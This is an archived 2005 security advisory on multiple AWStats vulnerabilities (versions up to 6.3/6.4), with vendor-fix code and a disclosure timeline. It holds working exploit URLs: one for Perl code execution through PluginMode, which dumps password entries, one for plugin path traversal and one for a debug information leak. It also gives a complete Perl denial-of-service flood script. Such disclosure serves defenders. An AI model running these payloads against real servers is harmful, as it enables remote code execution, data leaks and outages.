awstats63.txt

2005-02-2400:00:00
ghc.ru
packetstormsecurity.com
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/*==========================================*/  
// GHC -> AWStats <- ADVISORY  
\\ PRODUCT: AWStats   
// VERSION: <= 6.3  
\\ URL: http://awstats.sourceforge.net/  
// VULNERABILITY CLASS: Multiple vulnerabilities  
\\ RISK: high  
/*==========================================*/  
  
[Product Description]  
"AWStats is a free powerful tool that generates advanced web, ftp or mail server statistics, graphically.   
This log analyzer works as a CGI or from command line and shows you all possible information your log contains,   
in few graphical web pages".   
Current stable version: AWStats 6.3 final   
Development version is 6.4 - 2005-02-06 14:31  
  
[Summary]  
Successful exploitation of an input validation vulnerability in AWStats scripts  
allows attackers to execute limited perl directives under the privileges of  
the web server, get sensetive information.   
Some actions of the attacker can lead to denial of service.  
  
[Details]  
Some AWStats's functions can be extended with plugins.  
Two variables (loadplugin & pluginmode) are dealing with it.   
The first one (loadplugin) is responsible for plugins list (plugin1, plugin2); the second one  
runs plugin's functions.   
  
Exploitable example (raw log plugin):  
http://server/cgi-bin/awstats-6.4/awstats.pl?pluginmode=rawlog&loadplugin=rawlog   
  
Server answer:  
192.*.*.* - - [26/Jan/2005:11:01:41 +0300] "GET /cgi-bin/index.cgi HTTP/1.1" 500 606  
192.*.*.* - - [26/Jan/2005:11:03:54 +0300] "GET /cgi-bin/index.cgi HTTP/1.1" 500 606  
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/style.css HTTP/1.1" 200 2986  
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /cgi-bin/index.cgi HTTP/1.1" 200 7710  
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/images/logo.gif HTTP/1.1" 200 14443  
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /images/xml.gif HTTP/1.1" 200 429  
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /images/pb_yawps.gif HTTP/1.1" 200 2532  
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/images/valid-html401.gif HTTP/1.1" 200 2250  
192.*.*.* - - [26/Jan/2005:11:07:54 +0300] "GET /themes/standard/images/vcss.gif HTTP/1.1" 200 1547  
192.*.*.* - - [26/Jan/2005:11:08:06 +0300] "GET /cgi-bin/forum.cgi HTTP/1.1" 200 7333  
192.*.*.* - - [26/Jan/2005:11:08:11 +0300] "GET /cgi-bin/links.cgi HTTP/1.1" 200 7588  
192.*.*.* - - [26/Jan/2005:11:08:12 +0300] "GET /cgi-bin/top10.cgi HTTP/1.1" 200 7910  
192.*.*.* - - [26/Jan/2005:11:08:17 +0300] "GET /cgi-bin/admin.cgi HTTP/1.1" 200 7340  
192.*.*.* - - [26/Jan/2005:11:08:33 +0300] "GET /yawpsnews.xml HTTP/1.1" 200 153   
  
The dangerous fact is that attacker can read sensitive information such as  
IP address, admin scripts names, non encoded GET queries, etc.   
  
Our variables pass some verification (as others), but it is not enough for security:  
  
sub Sanitize {  
my $stringtoclean=shift;  
$stringtoclean =~ s/[^\w_\-\\\/\.:\s]//g;  
return $stringtoclean;  
}  
  
Deletes everything but '_', '-', '\', '/', '.', ':' and any blank symbol.   
It's enough for variables with path to configuration files, but not for plugin tasks.  
In case of "loadplugin" & "pluginmode" developers obviously have a lot of trust to the user.  
  
So, let's see what can be done, in fact.  
  
[1] Perl code execution.  
http://server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent  
  
we'll get the action in next piece of code:  
  
# AWStats output is replaced by a plugin output  
if ($PluginMode) {  
my $function="BuildFullHTMLOutput_$PluginMode()";  
eval("$function");  
if ($? || $@) { error("$@"); }  
&html_end(0);  
exit 0;  
}  
  
If variable exists, we'll get code execution. This happens after sanitizing (see privious).  
Here we have intresting part in:  
my $function="BuildFullHTMLOutput_$PluginMode()";  
eval("$function");  
  
This is subroutine call (As example sub BuildFullHTMLOutput_rawlog() from  
rawlog.pm plugin).  
Ideal case: "module name"::BuildFullHTMLOutput_"function name"().  
But if we won't specify the name of module (with "loadplugin" parameter) we'll get the next:  
  
main::BuildFullHTMLOutput_"function name"().  
  
By the way, there is permited symbol ':' in user input parameters. So, we can send:  
  
PluginMode=:print+getpwent  
  
And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'.  
This will satisfy eval() requirements., and :print getpwent() is executed.  
  
http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent  
  
Sanitazing limits user's input, but there is no filtration for call sympols '()'.  
Here we can see that somebody can perform DoS attack.   
This is example of simple code for successful DoS exploitation:  
  
#!/usr/bin/perl  
  
use IO::Socket;  
$server = 'www.example.com';  
sub ConnectServer {  
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80")  
|| die "Error\n";  
print $socket "GET /cgi-bin/awstats-6.4/awstats.pl?&hack=$rp&PluginMode=:sleep HTTP/1.1\n";  
print $socket "Host: $server\n";  
print $socket "Accept: */*\n";  
print $socket "\n\n";  
}  
  
while () {  
$rp = rand;  
&ConnectServer;  
}  
  
[BUGFIX]  
Change vulnerable code for:  
  
sub PluginSanitize {  
my $stringtoclean=shift;  
$stringtoclean =~ s/[^\w]//g;  
return $stringtoclean;  
}  
  
  
[2] Arbitrary plugin including.  
http://server/cgi-bin/awstats-6.4/awstats.pl?&loadplugin=../../../../usr/libdata/perl/5.00503/blib  
  
Arbitrary module from user's input through "loadplugin" parameter can be included with "require" function..  
  
Bugfix - as above or something like this:  
  
opendir (PDIR, './plugins');  
@FilesPDIR = readdir(PDIR);  
closedir (PDIR);  
foreach $FilesPName (@FilesPDIR) {  
if ($FilesPName =~ m/$loadplugin/) {  
}  
}  
  
The good thing is the poison null-byte (%00) has no place (transferes to 00).  
  
[3] Sensetive information leak in AWStats version 6.3(Stable) - 6.4(Development).  
Every user can access debug function:  
http://server/cgi-bin/awstats-6.4/awstats.pl?debug=1  
http://server/cgi-bin/awstats-6.4/awstats.pl?debug=2  
  
  
[DISCLOSURE TIMELINE]  
  
10-02-2005 Initial vendor notification.  
14-02-2005 No response.  
14-02-2005 Bug-traq post.   
  
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